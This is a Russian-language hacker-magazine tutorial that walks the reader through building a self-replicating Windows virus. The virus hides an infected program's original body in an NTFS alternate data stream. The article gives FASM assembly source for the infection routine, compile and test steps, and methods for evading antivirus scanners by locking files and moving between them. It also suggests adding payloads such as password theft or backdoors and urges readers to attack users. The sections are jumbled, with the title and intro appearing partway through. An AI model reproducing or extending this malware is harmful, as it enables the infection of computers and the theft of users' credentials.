Захват и освобождение заложников в исполняемых файлов

       

Алгоритм работы вируса


Закройте руководство по PE-формату. Оно нам не понадобится. Мы ведь хакеры, а не штангисты какие-нибудь и действовать мы будет так: создаем внутри жертвы дополнительный поток, копируем туда основное тело файла, а на его место записываем свой код, делающий что-то "полезное" и передающий управление на основное тело. Работать это будет только на WindowsNT/2000/XP и только под NTFS. FAT отдыхает. Оригинальное содержимое заражаемого файла на FAT-разделах будет утеряно, а это писец. То же самое произойдет, если упаковать файл ZIP'ом или любым другим архиватором, не поддерживающим потоков (а вот RAR их поддерживает. В диалоговом окне "имя и параметры архива" есть вкладка "дополнительно", а в ней галочка "сохранять файловые потоки". Вот это она и есть.)

Рисунок 4 заставляем RAR упаковывать потоки

Есть и другая проблема. Windows блокирует доступ ко всем открытым файлам и при попытке внедрения в explorer.exe или firefox.exe обламывает нас по полной программе. Печально. Но выход есть. Заблокированный файл нельзя открыть, но можно переименовать. Берем explorer.exe, переименовываем его… ну, например, в godown (в смысле: отсоси у меня детка), создаем новый файл с точно таким же именем, в основном потоке которого размещаем свое вирусное тело, а прежний explorer.exe копируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe и godown будет можно удалить. А можно и не удалять. Правда, тогда он может привлечь внимание бдительного юзера или антивирусного ревизора.

Кстати, о ревизорах. Внедрится в файл это только половина дела. Это и орангутанг сможет. Еще необходимо придумать, как обезвредить всевозможные контролирующие органы типа антивирусов и сторожей. Нет ничего проще! Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии на протяжении всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения.
Существует множество путей блокировки — от CreateFile

со сброшенным флагом dwSharedMode до LockFile/LockFileEx. Подробнее об этом можно прочитать в Platform SDK.

Основная ошибка большинства вирусов состоит в том, что однажды внедрившись в файл, они сидят и покорно ждут пока не придет антивирус и не сотрет их на фиг. А ведь сканирование современных винчестеров занимает значительное время, растягивающееся на многие часы… В каждый момент времени антивирус проверяет всего один файл и если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедрясь в другой. Чем короче период ожидания — тем выше вероятность пройти мимо антивируса незамеченным, но и выше дисковая активность. А регулярные мигание красной лампочки без видимых причин сразу же насторожит опытных пользователей, поэтому приходится хитрить. Можно, например, вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В этом нам поможет файловый монитор Марка Руссиновича (www.systeminternals.com), который легко доработать под наши нужды.


Исходный код вируса


Естественные языки (ну типа там русский матерный или английский технический) с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и взаимно противоречивы. Поэтому, во избежание недоразумений продублируем описание алгоритма на языке ассемблера.

Ниже приведен исходный код ключевого фрагмента вируса с комментариями. Технические детали для экономии бумами опущены и лежат на лазерном диске, прилагаемом к журналу в файле xcode.asm.

section '.code' code readable executable

start:

       ; удаляем временный файл

       push godown

       call [DeleteFile]

      



       ; определяем наше имя

       push

1000

       push buf

       push 0

       call

[GetModuleFileName]

      

       ; считываем командную строку

       ; ключ --* filename - заразить

       call [GetCommandLine]

       mov ebp,eax

       xor ebx,ebx

       mov ecx, 202A2D2Dh ;

      

rool:

       cmp [eax], ecx             ; это '--*'?

       jz  infect

       inc eax

       cmp

[eax], ebx             ; конец командной строки?

       jnz rool

      

       ; выводим диагностическое сообщение,

       ; подтверждая свое присутствие в файле

       push   0

       push   aInfected

       push   aHello

       push   0

       call   [MessageBox]

      

       ; добавляем к своему имени имя NTFS-потока

       mov esi, code_name

       mov edi, buf

       mov ecx, 100; code_name_end - code_name

       xor eax,eax

       repne scasb

       dec edi

       rep movsb

      

       ; запускам NTFS-поток на выполнение

       push xxx

       push xxx

       push eax

       push eax

       push eax

       push eax

       push eax

       push eax

       push ebp

       push buf

       call [CreateProcess]

       jmp go2exit                ; выходим из вируса

infect:

       ; устанавливаем eax на первый символ имени файла-жертвы

       ; (далее по тексту dst)

       add    eax, 4

       xchg   eax, ebp


      

       xor eax,eax

       inc eax

      

       ; тут не помешает вставить проверку dst на заражение

      

       ; переименовываем dst в godown

       push godown

       push ebp

       call

[RenameFile]

      

       ; копируем в godown основной поток dst

       push eax

       push ebp

       push buf

       call [CopyFile]

      

       ; добавляем к своему имени имя NTFS-потока

       mov esi, ebp

       mov edi, buf

copy_rool:

       lodsb

       stosb

       test al,al

       jnz copy_rool

       mov esi, code_name

       dec edi

copy_rool2:

       lodsb

       stosb

       test al,al

       jnz copy_rool2

      

       ; копируем godown в dst:eatout

       push eax

       push buf

       push godown

       call [CopyFile]

      

       ; тут не помешает добавить коррекцию длины заражаемого файла,

      

       ; удаляем godown

       push godown

       call [DeleteFile]

      

       ; выводим диагностическое сообщение,

       ; подтверждающие успешность заражения файла

       push   0

       push   aInfected

       push   ebp

       push   0

       call   [MessageBox]

      

       ; выход из вируса

go2exit:

       push   0

       call   [ExitProcess]

      

section '.data' data readable writeable

       godown db "godown",0              ; имя временного файла

       code_name db ":eatmeout",0        ; имя потока, в котором будет…

       code_name_end:                           ; …сохранено основное тело

      

       ; различные текстовые строки, выводимые вирусом

       aInfected db "infected",0

       aHello db "hello, bitch, fuck them all! (c) mylene farmer -->"

      

       ; различные буфера для служебных целей

       buf rb

1000

       xxx rb

1000

Листинг 1 исходный текст ключевого фрагмента вируса


Компиляция и испытания вируса


Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, поскольку используют совсем другой ассемблерный синтаксис.

ОК, скачиваем http://flatassembler.net/fasmw160.zip, распаковываем архив и набираем "fasm.exexcode.asm" в командной строке. Если все сделано правильно, на диске должен образоваться файл xcode.exe. Запустим его на выполнение с ключом "--*" за которым следует имя предполагаемой жертвы, например, notepad.exe ("xcode.exe --* notepad.exe"). Появление следующего диалогового окна свидетельствует об успешном внедрении. В противном случае, у нас ничего не получилось и первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае пока… Напомните мне, чтобы вернуться к этому вопросу в следующий раз.

Рисунок 2 файл успешно заражен

Запускаем зараженный notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, а после нажатия на "ОК" передает управление оригинальному коду программы.

Рисунок 3 реакция зараженного файла на выполнение

Чтобы не у пользователя не случился инфаркт, из финальной версии вируса это диалоговое окно лучше всего удалить, заменив его своей собственной "начинкой". Тут все зависит от наших намерений и фантазии. Можно перевернуть экран, похитить пароли или обложить пользователя трехэтажным матом, послав его на хрен.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Взять хотя бы "Пасьянс" — "notepad.exe ??* sol.exe". Естественно, заражать файлы через командную строку ни один нормальный пользователь не будет и процедуру поиска очередной жертвы в вирусное тело мы должны добавить самостоятельно.
Если, конечно, мы захотим ее искать. Ведь не санкционирование внедрение в чужие файлы это уже УК!

Так что лучше совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл отказывает в работе. Вот беда! Как ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Берем CreateFile, передаем ей имя файла вместе с потоком (notepad.exe:eatmeout) и смотрим на результат. Если файл открыть не удалось, значит потока "eatmeout" тут нет и он еще не заражен, в противном случае мы должны отказаться от заражения. Или… выбрать другой поток. Например, eatmeout_01, eatmeout_02, eatmeout_03…

Другая проблема — вирус не корректирует длину целевого файла и после внедрения она уменьшается до 4 Кб — именно столько занимает текущая версия xcode.exe. Нехорошо! Пользователь тут же заподозрит подвох (explorer.exe, занимающий 4 Кб выглядит довольно забавно), занервничает и начнет запускать всякие нехорошие программы типа антивируса. Но что нам стоит запомнить длину жертвы перед внедрением, скопировать в нее свое тело, открыть файл на запись и сделать SetFilePointer на оригинальный размер, увеличивая размер жертвы до исходных значений.


О вирусах и потоках


Внедрение вируса в исполняемый файл — достаточно сложный и мучительней процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций… Такими темпами мы не накодим вируса и за сезон, а хочется поиметь его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows XP) содержит такую фичу как "потоки" (stream) они же "атрибуты". Внутри одного файла может существовать несколько независимых потоков данных.

Имя потока отделяется от имени файла знаком ":", например: my_file:stream. Основное тело файла хранится в безымянном потоке, но мы так же можем создавать и свои потоки. Заходим в FAR, давим <Shift-F4>, вводим "xxx:yyy" и скармливаем редактору какое-нибудь восклицание, например: "легализуем гандж!". Выходим из редактора и видим файл "xxx" с нулевой длиной. Как это так с нулевой длинной?! А наше восклицание где?! Жмем <F4> и… ни хрена не видим. Все правильно! Если не указано имя потока, файловая система отображает основной поток, а он у нас пустой. Размер остальных потоков не отображается и чтобы дотянуться до их содержимого имя потока должно быть указано явно. Вводим "more < xxx:yyy" и вот он, наш, гандж.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, наше пребывание в нем скорее всего останется незамеченным. Конечно, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что навряд ли понравится антивирусным сторожам. Ну со сторожами мы еще разберемся, а пока определимся со стратегией внедрения.

Рисунок 1 файловая система NTFS поддерживает несколько потоков в рамках одного файла (рисунок, к сожалению, на китайском – другой найти не удалось, но приблизительная структура понятна и без перевода)



>>> Перечисление потоков


Как определить какие потоки содержаться внутри файла? Штатными средствами – никак! Функции работы с потоками недокументированны и доступы только через Native-API. Это: NtCreateFile, NtQueryEaFile и NtSetEaFile, описание которых можно найти в частности в книге "The Undocumented Functions Microsoft Windows NT/2000" Tomasz'а Nowak'а, электронная копия которой может быть бесплатно скачена с сервера NTinterlnals.net. А еще стоит почиать статью "Win2k.Stream" из 5'го номера вирусного журнала #29A, да и другие журналы пролистать не мешает.

Создания нового потока осуществляется вызовом функции NtCreateFile, среди прочих аргументов принимающей указатель на структуру FILE_FULL_EA_INFORMATION, передаваемый через EaBuffer. Как вариант, можно воспользоваться функцией NtSetEaFile, передав ей дескриптор, возращенный NtCreateFile, открывающей файл обычным образом. Перечислением (и чтением) всех имеющихся потоков занимается функция NtQueryEaFile. Прототипы всех функций и определения структур содержатся в файле NTDDK.H, в котором присутствует достаточное количество комментариев, чтобы со всем этим хозяйством можно было разобраться.



>>> Врезка полезные ссылки


q

http://www.wasm.ru

o        море полезного материла по вирусам и ассемблеру, форум на котором туссуется множество матерых профессионалов, ну вообще просто приятный сайт;

q       http://vx.netlux.org/

o        гигантская коллекция вирусов и учебников по их написанию;

q       http://flatassembler.net/fasmw160.zip

o        бесплатная Windows-версия ассемблера FASM – самого правильного ассемблера из всех.



Захват и освобождение заложников в исполняемых файлов


крис касперски ака мыщъх

конструирование вирусов — отличный стимул к изучению ассемблера! и хотя вирус в принципе можно написать и на Си, это будет как-то не по-хакерски и вообще неправильно! настоящие хакеры пишут только на FASM'е и только под Pain/Hypocrisy или на худой конец под группу Absu — запрещенную в большинстве стран Европы. ОК! затариваемся пивом, надеваем наушники, запускаем Multi-Edit или TASMED и погружаемся в мрачный chemical excrement кибернетического мира, ряды которого скоро пополняется еще одним зловредным созданием…



Наш вирус написан. Что дальше?


Свершилось! Наш вирус написан. Что дальше? Теперь можно неспешно полировать код, наращивая его функциональность. В конечном счете, вирус существует не для тупого размножения. У каждого из них должна быть своя миссия и своя сверхзадача. Установить backdoor, перехватить пароль, ну или что-то в этом роде.
Преложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролирует куча докторов. Кстати говоря, чтобы не пострадать от своего же собственного вируса, под рукой всегда должно находится противоядие. Следующий командный файл "вытягивает" оригинальное содержимое файла из потока eatmeout и записывает его в файл rebirthed.exe.
more < %1:eatmeout > rebirthed.exe
ECHO i'm rebirthed now, fuck you!
Листинг 2 восстановитель зараженных файлов
На сегодня это все. Слушайте Peter'a Tagtgren'a, пейте пиво, натягивайте юзеров вирусом по полной программе, в общем наслаждайтесь жизнью во всех ее проявлениях.